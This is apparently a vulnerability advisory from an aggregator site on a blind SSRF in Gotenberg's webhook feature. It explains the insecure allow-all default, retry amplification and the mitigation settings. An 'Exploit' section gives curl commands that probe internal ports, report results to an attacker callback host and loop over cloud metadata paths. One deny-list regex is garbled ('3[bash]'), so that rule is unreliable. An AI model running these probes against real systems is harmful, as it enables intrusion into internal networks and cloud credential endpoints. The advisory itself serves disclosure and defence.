Gotenberg, Unauthenticated SSRF via Unfiltered Webhook URL, CVE (Pending) (High)

Listen to this Post

The vulnerability exists in Gotenberg versions up to 8.29.1, specifically the default Docker image. The core issue is the `FilterDeadline` function in `filter.go` which validates webhook URLs. When both allow and deny lists are empty (the default configuration), this function returns `nil` immediately, allowing any URL to pass without restriction. An attacker can send an unauthenticated POST request to `/forms/chromium/convert/url` with the `Gotenberg-Webhook-Url` header set to an arbitrary internal or external address. Gotenberg then converts a supplied URL (e.g., https://example.com`) into a PDF and performs an outbound HTTP POST to the webhook URL with the document as the body. The response body from the target is never returned to the attacker, making this a blind SSRF. However, by also supplying the `Gotenberg-Webhook-Error-Url` header, the attacker can observe whether the primary POST succeeded or failed. If the target returns a 2xx status code, the error URL is NOT called; if it returns 4xx/5xx or times out, the error URL receives the converted PDF. This allows port scanning and service probing: a successful 2xx indicates an open port accepting POST requests. The retryable HTTP client performs up to 4 automatic retries per request, amplifying the probe count. Internal services that perform side effects on POST (e.g., triggering jobs, writing state) can be abused. Cloud metadata endpoints likehttp://169.254.169.254/` can be probed, but the credential response body cannot be read directly through this channel. The root cause is an insecure default where an unconfigured state means “allow all” instead of “deny all”.

dailycve form:

Platform: Gotenberg 8.29.1
Version: 8.29.1
Vulnerability: Unauthenticated SSRF
Severity: CVSS 8.6 High
date: 2026-04-04

Prediction: Expected patch: 2026-05-04

What Undercode Say:

Analytics:

Check if Gotenberg is vulnerable
curl -s -o /dev/null -w "%{http_code}" -X POST 'http://TARGET:3000/forms/chromium/convert/url' \
-H 'Gotenberg-Webhook-Url: http://internal-host:9999/test' \
-H 'Gotenberg-Webhook-Error-Url: http://attacker:9999/error' \
-F 'url=https://example.com'
Monitor outbound POST requests from Gotenberg
tcpdump -i any 'host GOTENBERG_IP and tcp port 80 or 443'
List active webhook connections
ss -tnp | grep :3000

Exploit:

Probe internal port 8080 on 10.0.0.5
curl -X POST 'http://victim:3000/forms/chromium/convert/url' \
-H 'Gotenberg-Webhook-Url: http://10.0.0.5:8080/api' \
-H 'Gotenberg-Webhook-Error-Url: http://attacker:9999/failed' \
-F 'url=https://example.com'
Brute force cloud metadata paths
for path in latest/meta-data/ user-data/; do
curl -X POST 'http://victim:3000/forms/chromium/convert/url' \
-H "Gotenberg-Webhook-Url: http://169.254.169.254/$path" \
-F 'url=https://example.com'
done

Protection from this CVE

Immediate mitigation: restrict webhook URLs to trusted receivers
--env GOTENBERG_API_WEBHOOK_ALLOW_LIST="^https://trusted-receiver\.company\.com/."
Or block internal IP ranges (RFC-1918 and link-local)
--env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169.254.|10.|172.(1[6-9]|2[0-9]|3[bash]).|192.168.)"
Disable webhook feature entirely if not needed
--env GOTENBERG_API_WEBHOOK_DISABLE=true

Impact

  • Internal network reconnaissance via blind SSRF (port and service probing).
  • Forced POST requests to internal services causing unintended side effects.
  • Cloud metadata endpoint probing, enabling further attack chaining.
  • Amplified traffic due to up to 4 automatic retries per attacker request.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top